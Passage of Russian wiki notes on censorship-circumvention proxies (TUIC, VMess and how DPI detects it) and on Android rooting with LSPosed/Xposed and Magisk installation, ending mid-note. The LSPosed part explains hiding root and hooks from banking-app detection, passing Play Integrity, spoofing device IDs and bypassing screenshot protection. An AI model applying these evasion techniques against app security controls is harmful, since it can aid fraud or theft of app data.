протоколов — в [[protocols/00-overview|обзоре]]. ## TL;DR - TUIC — прокси поверх **QUIC**: транспорт работает по UDP, шифрование берётся из TLS 1.3, несколько потоков мультиплексируются в одном соединении. - Главная особенность — **0-RTT при возобновлении сессии**: повторное подключение к знакомому серверу не требует полного рукопожатия, и восстановление занимает доли миллисекунды вместо сотен. - **UDP проксируется по-настоящему**, а не эмуляцией поверх TCP: поддерживается Full Cone NAT, что важно для игр, голосовой связи и P2P. - Два режима UDP-релея: **`native`** (через QUIC-датаграммы, быстро, но пакет ограничен размером датаграммы) и **`quic`** (через потоки, надёжно, но с накладными расходами). - В **v5** появился отдельный пароль пользователя; конфиги v4 и v5 несовместимы — это частая причина «всё введено верно, но не подключается». - Оригинальный репозиторий попал в волну архиваций ноября 2023 года; протокол живёт прежде всего в реализациях универсальных ядер — [[Clash/02-mihomo|mihomo]], [[sing-box/sing-box-extended|sing-box]]. ## Зачем понадобился ещё один QUIC-протокол К моменту появления TUIC у обхода блокировок уже был набор TCP-протоколов ([[protocols/trojan|Trojan]], [[xray/vless|VLESS]], [[protocols/shadowsocks|Shadowsocks]]), и у всех них общие врождённые проблемы. **Первая — стоимость установления соединения.** TCP-рукопожатие плюс TLS-рукопожатие — это два-три обмена пакетами до того, как пойдут данные. На канале до другого континента с задержкой 200–300 мс каждое новое соединение обходится в заметную паузу, и это ощущается как «интернет думает». **Вторая — проксирование UDP.** TCP-протоколы вынуждены упаковывать UDP-пакеты в TCP-поток. Это ломает свойства UDP: появляется лишняя надёжность там, где она не нужна (игре важнее свежий пакет, чем гарантированно доставленный старый), и рушится NAT-поведение, от которого зависят голосовые звонки и P2P. **Третья — потери пакетов.** При потере TCP резко снижает скорость. На плохом канале это выглядит как «скорость есть, но её нет». QUIC решает всё три задачи на уровне транспорта: он несёт TLS 1.3 внутри себя (рукопожатие совмещено), умеет 0-RTT-возобновление, мультиплексирует потоки без блокировки друг друга и передаёт датаграммы. TUIC — это тонкий прокси-протокол поверх этих возможностей: **вся криптография и надёжность взяты у QUIC, сверху добавлены только аутентификация и команды релея**. ## Как это работает Клиент устанавливает QUIC-соединение с сервером (TLS 1.3, сертификат — обычный или самоподписанный), проходит аутентификацию и дальше отправляет команды: «открой TCP до такого-то адреса» или «перешли этот UDP-пакет туда-то». Каждое проксируемое TCP-соединение живёт в своём QUIC-потоке, поэтому потеря пакета в одном не тормозит остальные. **0-RTT при возобновлении.** QUIC умеет сохранять параметры прошлой сессии: при повторном подключении клиент отправляет данные вместе с рукопожатием, не дожидаясь ответа сервера. Практическая разница ощутима — вместо задержки в 200–300 мс на каждое новое соединение восстановление проходит почти мгновенно. Особенно заметно на мобильной сети, где соединения рвутся постоянно (переход между вышками, засыпание экрана). **Режимы UDP-релея.** Это единственная настройка TUIC, которую действительно стоит понимать: - **`native`** — UDP-пакеты идут в QUIC-датаграммах. Быстро и семантически честно (пакет либо доехал, либо нет), но датаграмма QUIC ограничена по размеру: большие UDP-пакеты в неё не помещаются, и на практике это приводит к проблемам с некоторыми приложениями. - **`quic`** — UDP-пакеты идут через потоки QUIC. Ограничение размера снимается и доставка гарантирована, но появляются накладные расходы и та самая надёжность, которая UDP-приложениям не всегда нужна. Проще говоря: `native` быстрее и «честнее» по смыслу, `quic` — безопаснее по совместимости. Если UDP-приложение ведёт себя странно, переключение режима — первое, что стоит попробовать. **Full Cone NAT.** TUIC проксирует UDP так, что внешние узлы могут отвечать на ваш порт напрямую. Это то, без чего плохо работают голосовые звонки, игровые лобби и P2P-передача. ## v4 против v5 Версии несовместимы, и это самая частая практическая проблема. Ключевое отличие на уровне конфига: **в v5 у пользователя есть UUID и отдельный пароль**, тогда как в v4 пароля нет. Если вы вписали пароль в конфиг узла v4 или, наоборот, не указали его для v5 — соединение не установится, при том что адрес, порт и сертификат верны. Помимо этого v5 привёл в порядок формат команд и работу с аутентификацией. В документации ядер ([mihomo](https://wiki.metacubex.one/en/config/proxies/tuic/), [sing-box](https://sing-box.sagernet.org/configuration/outbound/tuic/)) параметры версий описаны раздельно — при настройке сверяйтесь именно с разделом своей версии. ## TUIC против Hysteria 2 Оба протокола работают поверх QUIC и решают похожие задачи, поэтому выбор между ними — типичный вопрос. | Свойство | TUIC | [[Hysteria/00-overview\|Hysteria 2]] | |---|---|---| | Основной акцент | Быстрое установление соединения, честный UDP | Скорость на каналах с потерями, маскировка | | Контроль перегрузки | Стандартные алгоритмы QUIC (BBR и др.) | Собственный [[Hysteria/bandwidth-brutal\|Brutal]] с заданной скоростью | | Маскировка | Обычный QUIC/TLS 1.3 | Маскировка под HTTP/3 плюс режим [[Hysteria/config-server\|masquerade]] — сервер отвечает как настоящий сайт | | Своя серверная обвязка | Минимальная | Развитая: ACL, [[Hysteria/traffic-stats-api\|API статистики]], [[Hysteria/obfs-port-hopping\|port hopping]] | | Развитие проекта | Оригинальный репозиторий заархивирован, живёт в ядрах | Активное | Практический ориентир: **Hysteria 2 сильнее там, где канал плохой или где нужна серверная обвязка**; TUIC привлекателен минимализмом и поведением при частых переподключениях. И у обоих одна общая уязвимость — они целиком зависят от того, пропускает ли сеть UDP. > [!warning] Всё упирается в UDP > Часть провайдеров и мобильных операторов режет, троттлит или полностью блокирует UDP, особенно длинные сессии и трафик на 443-й порт. Тогда QUIC-протоколы отваливаются там, где TCP-based [[xray/vless|VLESS]] продолжает работать. Держите TCP-вариант как запасной: это не перестраховка, а типовая практика. ## Состояние проекта Оригинальный репозиторий TUIC (автор — @EAimTY) попал в волну удалений и архиваций 2–3 ноября 2023 года, описанную в [сводке gfw.report](https://gfw.report/blog/developers_deleted_repos/en/) и в заметке [[Clash/01-clash-core|Ядро Clash]]. Спецификация и код остались доступны, но отдельная активная разработка протокола фактически остановилась. Это не означает, что TUIC мёртв: он реализован в [[Clash/02-mihomo|mihomo]] и [[sing-box/sing-box-extended|sing-box]] (в [[xray/project-x|Xray-core]] его нет — там из QUIC-протоколов есть только Hysteria 2), там же чинятся ошибки и добавляются мелкие улучшения (в релизах [[Clash/02-mihomo|mihomo]] середины 2026 года, например, дорабатывали UDP-релей). Но рассчитывать на развитие самого протокола — на новые версии, на ответ на новые методы детекта — не стоит. Для сравнения: [[protocols/anytls|AnyTLS]] и Hysteria развиваются активно. ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — карта задач и поддержки в ядрах. - [[Hysteria/00-overview|Hysteria 2]] — второй крупный QUIC-протокол и его отличия. - [[protocols/anytls|AnyTLS]] и [[protocols/naiveproxy|NaiveProxy]] — современные TCP-альтернативы с упором на маскировку. - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — как TUIC настраивается в YAML-конфиге. - 🔗 [github.com/tuic-protocol/tuic](https://github.com/tuic-protocol/tuic) — спецификация и исходники. - 🔗 [Документация TUIC в mihomo](https://wiki.metacubex.one/en/config/proxies/tuic/) — актуальные параметры конфига. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/tuic.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - протоколы - vmess - v2ray - обход-блокировок aliases: - VMess - VMess AEAD - alterId link: https://www.v2fly.org/en_US/developer/protocols/vmess.html --- # 📮 VMess: протокол V2Ray, который проиграл собственному наследнику > [!info] О чём заметка > Разбор протокола **VMess** — основного протокола V2Ray, который в 2010-х был стандартом обхода блокировок, а сегодня почти вытеснен [[xray/vless|VLESS]]. Здесь: как он устроен, что означает загадочное поле `alterId`, какие уязвимости в нём находили и стоит ли его использовать в 2026 году. Карта протоколов целиком — в [[protocols/00-overview|обзоре]]. ## TL;DR - VMess — протокол проекта **V2Ray**: пользователь опознаётся по **UUID**, каждое соединение шифруется, а в заголовке передаются время, случайные данные и адрес назначения. - Ключевая идея времён создания — **привязка к времени**: заголовок аутентифицировался хешем от UUID и метки времени, поэтому часы клиента и сервера должны совпадать (расхождение больше пары минут ломает подключение). - **`alterId`** — рудимент старой схемы с «дополнительными идентификаторами». В современных реализациях он должен быть `0`, что включает **VMess AEAD** — правильный режим аутентификации заголовка. - Старый режим (`alterId` больше нуля, аутентификация на MD5) объявлен устаревшим, а в Xray-core поддержку старой схемы убрали вовсе. - В 2020 году в реализации V2Ray нашли **уязвимость к активному зондированию**: по реакции сервера можно было опознать VMess. Проблему закрыли переходом на AEAD-заголовки. - Сегодня VMess держат в основном ради совместимости со старыми серверами. Для новых установок используют [[xray/vless|VLESS]]: он проще, быстрее и активно развивается. ## Как устроен VMess VMess появился вместе с V2Ray как замена [[protocols/shadowsocks|Shadowsocks]] — с расширяемым заголовком, поддержкой разных транспортов и учётом пользователей. Соединение выглядит так. Клиент знает **UUID** пользователя (строка вида `b831381d-6324-4d53-ad4f-8cda48b30811`) — это и есть учётные данные. Он формирует **заголовок запроса**, куда кладёт версию протокола, ключ и вектор инициализации для шифрования данных, выбранный метод шифрования, тип команды (TCP или UDP), адрес назначения и случайную набивку. Заголовок аутентифицируется так, чтобы сервер мог понять «это наш пользователь» ещё до расшифровки полезной нагрузки. Дальше идут зашифрованные данные, разбитые на блоки. **Привязка к времени** — характерная деталь: в исходной схеме аутентификатор строился от UUID и текущей метки времени с допуском в несколько десятков секунд. Это давало защиту от повторов, но породило самую известную бытовую проблему протокола: **если на клиенте сбились часы, подключение просто не устанавливается**. Симптом узнаваемый — сервер жив, ключ верный, а соединение отваливается; проверка системного времени решает вопрос. ## Что такое `alterId` и почему он должен быть 0 `alterId` — поле, которое до сих пор встречается в старых конфигах и вызывает больше всего вопросов. Исторически оно задавало число **дополнительных идентификаторов**, порождённых от основного UUID: клиент брал один из них для каждого соединения, чтобы аутентификаторы не повторялись и сервер не мог быть опознан по однообразию заголовков. Схема оказалась и громоздкой, и уязвимой: аутентификация в ней опиралась на MD5, а сама конструкция давала наблюдателю материал для анализа. Её заменили на **VMess AEAD** — заголовок аутентифицируется и шифруется современным AEAD-примитивом. Включается это ровно одним способом: **`alterId: 0`**. Правило простое: **в 2026 году `alterId` в конфиге либо равен нулю, либо его нет вовсе**. Старый режим (`alterId` больше нуля) объявлен устаревшим в V2Ray, а Xray-core поддержку прежней MD5-схемы удалил — конфиг с ненулевым `alterId` там просто не заработает. ## Уязвимости и обнаружение **Активное зондирование (2020).** В реализации VMess в V2Ray обнаружили уязвимость, позволявшую **опознать VMess-сервер активной проверкой**: причина была в том, как разбирался зашифрованный заголовок и как реализация реагировала на некорректные данные — по различиям в поведении сервер выдавал себя. Проблему нашли пользователи GitHub p4gefau1t и studentmain; современный режим с AEAD-заголовками ей не подвержен. Проще говоря: цензору не нужно было расшифровывать трафик — достаточно было постучаться на подозрительный порт особым образом и посмотреть, чем сервер ответит. Это общий приём против прокси-протоколов, и устойчивость к нему сегодня — обязательное требование к дизайну (сравните с логикой [[protocols/trojan|Trojan]], который на неверный пароль отдаёт настоящий сайт). **Пассивное обнаружение.** Как и Shadowsocks, VMess без обёртки не выглядит ничем легальным. Поэтому его почти всегда заворачивают в TLS и транспорт — WebSocket, gRPC, HTTP/2 — чтобы соединение походило на обычный веб-трафик. Но у связки «прокси внутри TLS» есть собственный узнаваемый почерк: шифрованное рукопожатие внутри шифрованного канала даёт характерные размеры и тайминги пакетов. Этот класс детекта разобран в [[VLESS/dpi-tls-june-2026|заметке про DPI-почерк TLS]] — и именно против него придуманы XTLS Vision и [[protocols/anytls|AnyTLS]]. > [!warning] «Работает» не значит «незаметен» > VMess с корректным AEAD-заголовком криптографически в порядке, и подключение через него устанавливается. Но по устойчивости к современному DPI он проигрывает связкам с [[xray/reality|REALITY]] и XTLS Vision, потому что не решает задачу «TLS внутри TLS». Если узел на VMess у вас регулярно отваливается волнами — дело обычно не в сервере, а в том, что схему научились отбирать. ## Стоит ли использовать VMess в 2026 году Практический ответ: **для новых установок — нет, для совместимости — да, с оговорками**. Причина вытеснения не в том, что VMess «плохой», а в том, что его наследник делает то же самое дешевле. [[xray/vless|VLESS]] сознательно убрал из протокола собственное шифрование и привязку ко времени: раз соединение и так идёт внутри TLS, второй слой шифрования — это лишний расход процессора и лишний слой, который и создаёт заметный почерк. Отсюда и XTLS Vision, и REALITY — они возможны именно потому, что VLESS не шифрует данные повторно. Если VMess у вас всё же используется, минимальный набор требований такой: - **`alterId: 0`** — то есть режим AEAD; ненулевое значение означает мёртвую MD5-схему. - **Актуальная версия ядра** на клиенте и сервере — старые сборки несут исправленные с тех пор ошибки реализации. - **Обёртка TLS плюс транспорт** (WS/gRPC/HTTP2) — голый VMess в сети с DPI живёт недолго. - **Синхронные часы** на обеих сторонах. ## 📚 См. также - [[protocols/00-overview|Обзор протоколов]] — какое ядро что поддерживает и чем протоколы отличаются по задачам. - [[xray/vless|Протокол VLESS]] — прямой наследник VMess и рекомендуемая замена. - [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]] — история проектов, в которых родились оба протокола. - [[xray/v2fly-vs-xray|v2fly против Xray]] — почему у VMess два развивающихся дома и чем они отличаются. - [[protocols/shadowsocks|Shadowsocks]] — протокол, на смену которому VMess когда-то и пришёл. - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — как обнаруживают «прокси внутри TLS». - 🔗 [Описание протокола VMess на v2fly.org](https://www.v2fly.org/en_US/developer/protocols/vmess.html) — первоисточник по формату. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/protocols/vmess.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - root - android - xposed - lsposed - module - zygisk aliases: - LSPosed - Xposed - Xposed Framework - LSPatch - что такое LSPosed link: https://github.com/LSPosed/LSPosed --- # 🧩 LSPosed и Xposed — модификация приложений в рантайме > [!info] О чём заметка > **Xposed** — фреймворк, позволяющий менять поведение системы и приложений Android «на лету», **перехватывая вызовы методов**, без перепрошивки и без правки самих APK. **LSPosed** — его современный преемник, работающий на новых версиях Android поверх [[root/Magisk#Zygisk|Zygisk]]. Заметка объясняет, что это такое, как устроено, чем отличается от [[root/Magisk#Модули (systemless-моды)|модулей Magisk]], как ставится и какие есть подводные камни. LSPosed **требует root** ([[root/Magisk|Magisk]] или [[root/ReSukiSU|KernelSU/APatch]] с Zygisk). > [!warning] Статус на июль 2026: оригинальный LSPosed заброшен — используйте форк > Оригинальный проект `LSPosed/LSPosed` фактически перестал развиваться в конце 2023 (последний релиз — **v1.9.2, 11 октября 2023**), а на GitHub помечен как архивный/read-only ([дата архива — 2 мая 2026](https://github.com/LSPosed/LSPosed); сворачивание шло стадиями 2024→2026). Команда назвала причиной не технические проблемы, а выгорание от травли в сообществе. Живое развитие продолжают **форки**. На июль 2026 наиболее актуальный — **[JingMatrix/Vector](https://github.com/JingMatrix/Vector)** (переименованный из `JingMatrix/LSPosed`, Vector 2.0 от 22 марта 2026, поддержка вплоть до Android 17 beta). Это по сути проект одного мейнтейнера, поэтому **перед установкой проверьте, что он всё ещё активен**. Название «LSPosed» в обиходе осталось, но качать нужно поддерживаемую сборку. ## TL;DR - **Xposed** (автор — rovo89) меняет поведение приложений, **перехватывая методы в памяти**. Ничего на диске не меняется: отключил модуль, перезагрузился — всё как было. - **LSPosed** — современная реализация Xposed (на базе хук-движка **LSPlant**), работает как **[[root/Magisk#Zygisk|Zygisk]]-модуль** и внедряется в процесс **Zygote**, из которого рождаются все приложения. - **Отличие от модулей Magisk:** Magisk-модуль подменяет **файлы** системы (systemless-оверлей), а LSPosed-модуль **перехватывает логику** конкретного приложения в рантайме. - **Нужен root** с Zygisk: Magisk (Zygisk встроен) или KernelSU/APatch + отдельная реализация Zygisk (ReZygisk/NeoZygisk). - **Классический Xposed мёртв** (максимум Android 8.1); современный Android держит только LSPosed/форки. - **Без root** есть родственник — **LSPatch**: патчит один APK, но не умеет системные хуки (см. ниже). ## Что такое Xposed и зачем он **Xposed Framework** создал разработчик **rovo89**. Его идея: дать возможность **менять поведение системы и приложений, не трогая ни один APK и не перепрошивая ROM**. Вместо правки кода приложения Xposed **перехватывает вызовы его методов** и позволяет вставить свой код до и после оригинального метода (или подменить результат). Почему это ценно: - **Работает между версиями приложений и разными прошивками** — пока разработчик приложения не переписал код слишком сильно, один и тот же модуль продолжает работать после обновлений. - **Обратимость.** Все изменения — в оперативной памяти, на диске ничего не меняется. Чтобы вернуть систему в исходное состояние, достаточно **выключить модуль и перезагрузиться**. - **Несколько модулей могут менять один и тот же метод.** С пропатченным APK пришлось бы выбирать одну модификацию; Xposed складывает хуки по приоритету и вызывает их вложенно. **Проще говоря:** Xposed — это как «система модулей», но вместо подмены файлов она **вклинивается в работу приложения во время выполнения** и правит его поведение на ходу. Отсюда и сравнение из сообщества: «это как модули Magisk, но работает в рантайме, а не меняет саму систему». ## Как это работает: Zygote и перехват методов Чтобы фреймворк мог влиять сразу на все приложения, он внедряется в один особый процесс — **Zygote**. **Zygote** — это «процесс-заготовка» Android: при загрузке он предзагружает общие классы, а затем **каждое приложение запускается как его копия (fork)**. Раз все приложения ответвляются от Zygote, то код, внедрённый в Zygote, автоматически оказывается **в каждом приложении**. - **Классический Xposed** добивался этого, подменяя системный бинарник `app_process` и подгружая свой `XposedBridge.jar` раньше старта Zygote. Именно из-за этой грубой подмены он и несовместим с современным Android. - **LSPosed** так больше не делает: он внедряется в Zygote через **[[root/Magisk#Zygisk|Zygisk]]** (или устаревший Riru), а сам перехват методов выполняет библиотекой **LSPlant** (хук ART — Android Runtime). Результат тот же — Xposed-совместимые хуки, — но механизм современный и не ломает систему. **Проще говоря:** LSPosed «садится» в фабрику приложений (Zygote), поэтому его хуки наследует каждое запускаемое приложение; а чем именно перехватывать методы, занимается движок LSPlant. ## LSPosed против классического Xposed - **Классический Xposed (rovo89)** официально жил только на **Android 4.0–8.1** — на новых версиях не работает. - **LSPosed** — преемник (через промежуточный EdXposed), даёт **полную совместимость с Xposed API**: модуль под Xposed работает под LSPosed и наоборот. Оригинальный LSPosed поддерживал **Android 8.1–14**, а актуальные форки (Vector) — **вплоть до Android 16/17 beta**. Так что сегодня «Xposed» на практике почти всегда означает **LSPosed или его форк**. ### Zygisk и Riru — два способа попасть в Zygote И **Zygisk**, и **Riru** решают одну задачу — внедрить код в Zygote. **Riru** — старый отдельный модуль-прослойка. **[[root/Magisk#Zygisk|Zygisk]]** («Zygote + Magisk») — встроенный в Magisk механизм (появился в Magisk v24), пришедший на смену Riru; он же лучше дружит со скрытием root. Сегодня стандарт — **Zygisk**, Riru считается устаревшим. ## Чем LSPosed-модуль отличается от модуля Magisk Это частая путаница, поэтому разложим явно: | | Модуль [[root/Magisk|Magisk]] | Модуль LSPosed / Xposed | | --- | --- | --- | | Что делает | подменяет/добавляет **файлы** системы (systemless-оверлей) | **перехватывает методы** приложения в рантайме | | Где действует | на уровне файлов (`/system`, prop, библиотеки) | внутри процесса конкретного приложения (в памяти) | | Когда нужен | заменить файл, свойство, установить системное приложение | точечно изменить **логику** приложения/системы | | Устойчивость к обновлению приложения | не связана с приложением | часто переживает обновления, пока не переписан код метода | **Проще говоря:** Magisk-модуль меняет **что лежит** в системе, а LSPosed-модуль меняет **как ведёт себя** приложение. Это дополняющие инструменты, а не конкуренты. ## Требования и установка > [!important] Нужен root с включённым Zygisk > - **[[root/Magisk|Magisk]] 24.0+ (лучше 26.0+)** с включённым Zygisk: Magisk → Настройки → **Zygisk → Enable** (см. [[root/Magisk-install|установку Magisk]]). > - **[[root/ReSukiSU|KernelSU]] или APatch** — у них **нет встроенного Zygisk**, поэтому нужна **отдельная реализация**: ReZygisk / NeoZygisk (для Vector автор рекомендует NeoZygisk). Ставится Zygisk-провайдер, затем LSPosed. (На Magisk наоборот: если ставите сторонний провайдер — встроенный Zygisk сначала выключают.) Порядок установки (по официальной инструкции): - [ ] Скачать **zip** LSPosed/Vector из GitHub Releases поддерживаемого форка. - [ ] В Magisk (или KernelSU/APatch) → вкладка **Модули** → **Установить из хранилища** → выбрать zip. - [ ] Убедиться, что **Zygisk активен** (включён в Magisk либо стоит ReZygisk/NeoZygisk). - [ ] **Перезагрузиться.** - [ ] Дождаться **уведомления «LSPosed активен»** и **нажать на него** — откроется LSPosed Manager. По умолчанию **иконки в лаунчере нет**, вход именно через уведомление. ### LSPosed Manager: включить модуль и — обязательно — задать область (scope) Модуль LSPosed ставится как **обычное приложение** (APK). После установки в **LSPosed Manager → Модули**: 1. Открыть модуль и **включить переключатель** («Enable»). 2. **Задать «Область» (Scope)** — отметить **конкретные приложения** (и/или «Системный фреймворк»), к которым модуль применяется. > [!warning] Забыть область (scope) — причина №1 «модуль не работает» > Самая частая ошибка: модуль включён, но **область не отмечена** — тогда он выглядит установленным и активным, но **ничего не делает**. Например, для твика лаунчера нужно отметить и **«Системный фреймворк» (System Framework)**, и сам **лаунчер**. Если список области пуст, модуль не запускается. Всегда проверяйте scope. ### Где брать модули и примеры Модули берут из **репозитория** (браузится прямо в LSPosed Manager, онлайн — `modules.lsposed.org`) и ставят как обычные приложения. Несколько реальных примеров (что делают): - **YouTube AdAway** (wanam) — убирает рекламу в официальном приложении YouTube, включает фоновое воспроизведение. - **ReVanced Xposed** — патчи YouTube / YT Music (реклама, SponsorBlock, фон) через LSPosed вместо пропатченного APK. - **Privacy Kit** — подмена (спуфинг) идентификаторов устройства **по приложениям**. - **Hide My Applist (HMA OSS)** — скрывает выбранные установленные приложения от других приложений, лаунчера и настроек. - **Enable Screenshot** (бывш. Disable FLAG_SECURE) — разрешает скриншоты там, где приложение их запрещает. - **PlayVersionSpoofer** — подменяет версию Play Store, чтобы тот не обновлял сам себя. ## LSPatch — Xposed без root **LSPatch** — «безрутовый» вариант на базе LSPosed. Вместо системного внедрения через Zygisk он **встраивает Xposed-модуль прямо в целевой APK** и пересобирает его. Root не нужен (требуется Android 9+), патчить можно на телефоне (`manager.apk`) или на ПК (`java -jar lspatch.jar`). | | LSPosed | LSPatch | | --- | --- | --- | | Root | нужен (Magisk/Zygisk) | **не нужен** | | Охват | системно, все приложения | **только один пропатченный APK** | | Хук системного фреймворка | да | **нет** | | Обновление приложения | не мешает | **нужно перепатчивать APK заново** | Ограничения LSPatch: **нельзя хукать системный фреймворк** (модули вроде подмены геолокации не работают), после каждого обновления приложение надо патчить заново, теряется оригинальная подпись APK (ломает приложения и обновления из магазина, зависящие от подписи), часть приложений после патча не запускается. > [!note] Не путайте LSPosed и LSPatch > Названия похожи, суть разная. **LSP*osed*** — с root, системно, хукает всё. **LSP*atch*** — без root, патчит **по одному APK** и не умеет системные хуки. Частая путаница: люди ставят LSPatch, ждут поведения LSPosed и удивляются, что «модуль включён, а замена в системе не работает». ## Скрытие от приложений и детект Приложения (особенно **банковские**) умеют **обнаруживать LSPosed**. Полностью спрятать его нельзя — это [[root/Magisk#DenyList и скрытие root|та же «гонка вооружений»]], что и со скрытием root. Что помогает: - **Не добавлять чувствительные приложения в область (scope)** модулей вообще. - **Shamiko** (скрывает root/Zygisk/LSPosed) — работает в связке с DenyList Magisk, но при **выключенном** «Enforce DenyList». Важный нюанс: включённый «Enforce DenyList» на приложении **убивает в нём и LSPosed-модули**, поэтому пользователи LSPosed берут **Shamiko**, а не Enforce DenyList. - Для **Play Integrity / SafetyNet** — DenyList + Shamiko помогают пройти базовые уровни у «дружелюбных» приложений; строгие (аппаратные) уровни с активным LSPosed, как правило, **не проходятся**. Результат зависит от приложения и устройства. ## Риски и подводные камни > [!danger] Модуль Xposed имеет огромные права > LSPosed-модуль исполняется **внутри процессов других приложений** и может перехватывать и переписывать любые их методы — то есть в принципе способен читать и менять что угодно в приложениях, которые он хукает (включая данные банковских). **Ставьте только доверенные, желательно открытые модули.** OWASP MASTG относит Xposed к инструментам инструментирования/подмены. - **Бутлупы и вылеты.** Сломанный или несовместимый модуль может уронить приложение (классика — модуль текстов песен ронял Spotify) или всё устройство в бутлуп. Восстановление: загрузиться в **Safe Mode** (отключает все модули Magisk, включая LSPosed) → перезагрузиться → выключить виновный модуль; в тяжёлом случае удалить конфиг `/data/adb/lspd` через root-файлменеджер/recovery. Держите бэкап `boot.img`/`init_boot.img`. - **Несовпадение API (актуальная причина «модуль не грузится»).** Экосистема переходит с **libxposed API 100 на 101** (несовместимое изменение). Vector 2.0 реализует только **API 100**, поэтому модули, требующие 101, не загрузятся — проверяйте требуемую версию API у модуля. - **Быстрое устаревание.** Весь стек волатилен: фреймворки архивируются (LSPosed, Shamiko, Zygisk Next, ReLSPosed — всё в разное время ушло в архив), мейнтейнеры уходят, модули ломаются на каждом новом Android. Считайте, что любой модуль или форк может в любой момент остаться без поддержки. ## Экосистема и форки (на июль 2026) Из-за постоянной смены мейнтейнеров «канонический» форк меняется. Ориентиры на июль 2026 (проверяйте актуальность — всё датировано): - **[JingMatrix/Vector](https://github.com/JingMatrix/Vector)** — самый живой преемник (переименован из `JingMatrix/LSPosed`), Vector 2.0 от 22.03.2026, Android 8.1→17 beta. **Рекомендуемая сборка сегодня**, но одноручный проект. - **[mywalkb/LSPosed_mod](https://github.com/mywalkb/LSPosed_mod)** — популярный форк (в т.ч. под Android 15), но активность мейнтейнера снизилась. - **ThePedroo/ReLSPosed** — усиленный форк Vector, **уже заархивирован (февраль 2026)** — мёртв. - **Отдельные Zygisk-провайдеры** для KernelSU/APatch: **[ReZygisk](https://github.com/PerformanC/ReZygisk)** (открытый), **[NeoZygisk](https://github.com/JingMatrix/NeoZygisk)** (открытый, от автора Vector), **Zygisk Next** (стал закрытым). - **Мёртвые/легаси альтернативы:** оригинальный Xposed (rovo89, ≤ Android 8.1), **EdXposed** (заброшен, Android 8–10), **Dreamland** (неактивен). ## 📚 См. также - [[root/Magisk|Magisk — systemless-root и модули]] — root и **Zygisk**, на котором работает LSPosed; там же про DenyList и скрытие - [[root/Magisk-install|Установка Magisk]] — как включить Zygisk (нужен для LSPosed) - [[root/ReSukiSU|ReSukiSU/KernelSU]] — root через ядро; для LSPosed нужен отдельный Zygisk (ReZygisk/NeoZygisk) - [[Zapret/android|Обход блокировок на Android]] — смежная тема: DPI и блокировки на телефоне - 🔗 [LSPosed (оригинал, архив)](https://github.com/LSPosed/LSPosed) · [JingMatrix/Vector (актуальный форк)](https://github.com/JingMatrix/Vector) · [LSPatch](https://github.com/LSPosed/LSPatch) - 🔗 [LSPlant — движок хука ART](https://github.com/LSPosed/LSPlant) · [туториал Xposed (rovo89)](https://github.com/rovo89/xposedbridge/wiki/development-tutorial) - 🔗 [KernelSU FAQ — почему нужен отдельный Zygisk](https://kernelsu.org/guide/faq.html) · [OWASP MASTG: Xposed](https://mas.owasp.org/MASTG/tools/android/MASTG-TOOL-0027/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/root/LSPosed.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - root - android - magisk - install aliases: - Установка Magisk - Magisk install - Прошивка Magisk - патч boot Magisk link: https://topjohnwu.github.io/Magisk/install.html --- # 🛠️ Установка Magisk — патч boot/init_boot, Recovery, Samsung > [!info] О чём заметка > Пошаговая установка **Magisk** на Android по [официальной документации](https://topjohnwu.github.io/Magisk/install.html): требования, как понять, какой образ патчить, патч `boot`/`init_boot`/`recovery`, отдельные случаи для устройств без boot-ramdisk и для Samsung, удаление и сохранение root при обновлениях. Что такое Magisk, зачем он и как устроен (systemless, модули, Zygisk, скрытие root) — в обзорной заметке [[root/Magisk|Magisk — systemless-root и модули]]. > [!danger] Нужны навыки прошивки и разблокированный загрузчик > Инструкция предполагает, что вы умеете пользоваться **`adb` и `fastboot`** и знаете, как выводить устройство из «кирпича». **Загрузчик обязан быть разблокирован** (его разблокировка стирает все данные). Если планируете ещё и **кастомное ядро** — ставьте его **после** Magisk. Заранее сохраните оригинальные `boot.img`/`init_boot.img` для отката. ## TL;DR - Ставится **приложением Magisk**: оно патчит **загрузочный образ**, который вы затем прошиваете через `fastboot`. - Сначала определите по строке **Ramdisk** в приложении, какой образ патчить: `boot.img`/`init_boot.img` (есть ramdisk) или `recovery.img` (нет). - Образ берите **от своей прошивки той же версии** и патчите **только на своём устройстве** — чужой пропатченный образ шить нельзя. - **Samsung** — особый путь (Odin + AP tar, необратимый Knox, полный wipe). - После каждого **OTA** root слетает; на A/B-устройствах спасает «Install to Inactive Slot». ## Шаг 1. Понять, какой образ патчить (строка Ramdisk) Ключевой вопрос перед установкой — **есть ли ramdisk в boot-разделе** устройства. От этого зависит, какой образ патчить. Установите свежее **приложение Magisk** (APK) и посмотрите на главном экране строку **Ramdisk**: - **Ramdisk = Yes** → патчим `boot.img`; на устройствах с отдельным разделом `init_boot` (Pixel с Android 13+ и др.) — **`init_boot.img`**. Это случай большинства современных устройств. - **Ramdisk = No** → ramdisk в boot нет, Magisk «захватывает» **recovery-раздел**: патчим `recovery.img` (см. [[#Особый случай: Magisk in Recovery (устройства без boot-ramdisk)|Magisk in Recovery]]). > [!note] Редкое исключение > Некоторые устройства (известны отдельные модели Xiaomi) принимают ramdisk в boot, даже когда «не должны». Автоматически это не определить — если стандартный путь не срабатывает, действуйте так, будто ramdisk в boot **есть**. Большинству об этом можно не думать. Нужный образ (`boot.img` / 